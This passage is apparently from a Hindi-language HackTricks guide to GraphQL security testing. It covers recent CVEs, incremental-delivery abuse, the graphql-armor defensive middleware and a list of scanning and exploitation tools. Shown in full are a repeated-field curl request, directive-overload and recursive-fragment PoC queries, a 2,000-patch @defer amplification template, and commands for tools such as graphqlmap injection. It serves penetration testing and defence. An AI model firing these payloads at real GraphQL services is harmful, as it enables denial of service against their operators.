\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
हालिया कमजोरियाँ (2023-2025)
GraphQL इकोसिस्टम बहुत तेज़ी से विकसित होता है; पिछले दो वर्षों के दौरान सबसे अधिक उपयोग की जाने वाली server libraries में कई गंभीर समस्याएँ उजागर हुईं। जब आप किसी GraphQL endpoint को पाते हैं तो engine की fingerprinting करना (देखें graphw00f) और चल रही version को नीचे दी गई कमजोरियों के खिलाफ चेक करना लाभकारी होता है।
CVE-2024-47614 – async-graphql directive-overload DoS (Rust)
- प्रभावित: async-graphql < 7.0.10 (Rust)
- मूल कारण: duplicated directives पर कोई सीमा नहीं है (उदा. हजारों
@include) जो execution nodes की संख्या को घातीय रूप से बढ़ा देती हैं। - प्रभाव: एक अकेला HTTP अनुरोध CPU/RAM समाप्त कर सकता है और सेवा क्रैश कर सकता है।
- समाधान/राहत: अपग्रेड करें ≥ 7.0.10 या
SchemaBuilder.limit_directives()कॉल करें; वैकल्पिक रूप से"@include.*@include.*@include"जैसे WAF नियम से अनुरोधों को फ़िल्टर करें।
# PoC – repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}
CVE-2024-40094 – graphql-java ENF depth/complexity bypass
- प्रभावित: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
- मूल कारण: ExecutableNormalizedFields को
MaxQueryDepth/MaxQueryComplexityइंस्ट्रूमेंटेशन द्वारा माना नहीं गया था। इसलिए recursive fragments ने सभी सीमाओं को बायपास कर दिया। - प्रभाव: प्रमाणीकरण के बिना DoS उन Java स्टैक्स के खिलाफ जो graphql-java को शामिल करते हैं (Spring Boot, Netflix DGS, Atlassian products…).
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }
CVE-2023-23684 – WPGraphQL SSRF to RCE chain
- प्रभावित: WPGraphQL ≤ 1.14.5 (WordPress plugin).
- मूल कारण:
createMediaItemmutation ने attacker-controlledfilePathURLs` स्वीकार किए, जिससे आंतरिक नेटवर्क तक पहुँच और फ़ाइल लिखने की अनुमति मिली। - प्रभाव: प्रमाणीकृत Editors/Authors metadata endpoints तक पहुँच सकते थे या remote code execution के लिए PHP फ़ाइलें लिख सकते थे।
Incremental delivery का दुरुपयोग: @defer / @stream
2023 से अधिकांश प्रमुख सर्वर (Apollo 4, GraphQL-Java 20+, HotChocolate 13) ने GraphQL-over-HTTP WG द्वारा परिभाषित incremental delivery directives को लागू किया। हर deferred patch को एक separate chunk के रूप में भेजा जाता है, इसलिए कुल response आकार N + 1 (envelope + patches) हो जाता है। इसलिए हजारों छोटे deferred fields वाली एक query बड़ी response उत्पन्न करती है जबकि attacker को केवल एक request ही देनी पड़ती है — एक पारंपरिक amplification DoS और body-size WAF नियमों को बायपास करने का तरीका, जो केवल पहले chunk का निरीक्षण करते हैं। WG के सदस्यों ने स्वयं इस जोखिम का संकेत दिया।
Example payload generating 2 000 patches:
query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}
निवारण: प्रोडक्शन में @defer/@stream को अक्षम करें या max_patches, कुल max_bytes और execution time लागू करें। ऐसी लाइब्रेरीज़ जैसे graphql-armor (नीचे देखें) पहले से ही उपयुक्त डिफ़ॉल्ट लागू करती हैं।
रक्षात्मक middleware (2024+)
| प्रोजेक्ट | नोट्स |
|---|---|
| graphql-armor | Escape Tech द्वारा प्रकाशित Node/TypeScript validation middleware। क्वेरी की गहराई, alias/field/directive की गिनतियाँ, tokens और cost के लिए plug-and-play सीमाएँ लागू करता है; Apollo Server, GraphQL Yoga/Envelop, Helix, आदि के साथ संगत। |
त्वरित आरंभ:
import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';
const protectedSchema = applyMiddleware(schema, ...protect());
graphql-armor अब अत्यधिक गहरी, जटिल या डायरेक्टिव-भारी क्वेरीज़ को ब्लॉक करेगा, ऊपर के CVEs से सुरक्षा करते हुए।
टूल
कमजोरियों के स्कैनर
- https://github.com/dolevf/graphql-cop: graphql endpoints के सामान्य गलत कॉन्फ़िगरेशन का परीक्षण करें
- https://github.com/assetnote/batchql: batch GraphQL queries और mutations को निष्पादित करने पर केंद्रित GraphQL सुरक्षा ऑडिटिंग स्क्रिप्ट।
- https://github.com/dolevf/graphw00f: उपयोग में होने वाले graphql का फिंगरप्रिंट लें
- https://github.com/gsmith257-cyber/GraphCrawler: ऐसा Toolkit जो schemas प्राप्त करने, संवेदनशील डेटा खोजने, authorization का परीक्षण करने, schemas पर brute force करने, और किसी दिए गए type तक पहुँचने के रास्ते खोजने में इस्तेमाल हो सकता है।
- https://blog.doyensec.com/2020/03/26/graphql-scanner.html: standalone के रूप में या Burp extension के रूप में उपयोग किया जा सकता है।
- https://github.com/swisskyrepo/GraphQLmap: CLI client के रूप में भी उपयोग किया जा सकता है और attacks को automate करने के लिए:
python3 graphqlmap.py -u http://example.com/graphql --inject - https://gitlab.com/dee-see/graphql-path-enum: Tool जो GraphQL schema में किसी दिए गए type तक पहुँचने के विभिन्न तरीके सूचीबद्ध करता है।
- https://github.com/doyensec/GQLSpection: InQL के Standalone और CLI Modes का उत्तराधिकारी
- https://github.com/doyensec/inql: advanced GraphQL testing के लिए Burp extension या python स्क्रिप्ट। The Scanner InQL v5.0 का केंद्र है, जहाँ आप एक GraphQL endpoint या स्थानीय introspection schema फ़ाइल का विश्लेषण कर सकते हैं। यह आपके विश्लेषण के लिए सभी संभव queries और mutations को स्वचालित रूप से उत्पन्न करता है और उन्हें संरचित दृश्य में व्यवस्थित करता है। The Attacker घटक आपको batch GraphQL attacks चलाने देता है, जो खराब तरीके से लागू किए गए rate limits को बायपास करने में उपयोगी हो सकता है:
python3 inql.py -t http://example.com/graphql -o output.json - https://github.com/nikitastupin/clairvoyance: कुछ Graphql डेटाबेस की मदद से, जो mutations और parameters के नाम सुझाएंगे, आप introspection disabled होने पर भी schema प्राप्त करने का प्रयास कर सकते हैं।
सामान्य कमजोरियों का शोषण करने वाली स्क्रिप्ट्स
- https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS: vulnerable graphql environments में denial-of-service कमजोरियों का शोषण करने के लिए स्क्रिप्ट्स का संग्रह।
क्लाइंट्स
- https://github.com/graphql/graphiql: GUI क्लाइंट
- https://altair.sirmuel.design/: GUI Client
स्वचालित परीक्षण
https://graphql-dashboard.herokuapp.com/
- AutoGraphQL समझाने वाला वीडियो: https://www.youtube.com/watch?v=JJmufWfVvyU
संदर्भ
- https://jondow.eu/practical-graphql-attack-vectors/
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4
- http://ghostlulz.com/api-hacking-graphql/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://portswigger.net/web-security/graphql
- https://github.com/advisories/GHSA-5gc2-7c65-8fq8
- https://github.com/escape-tech/graphql-armor
- https://blog.doyensec.com/2025/12/02/inql-v610.html
- https://github.com/nicholasaleks/graphql-threat-matrix
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks

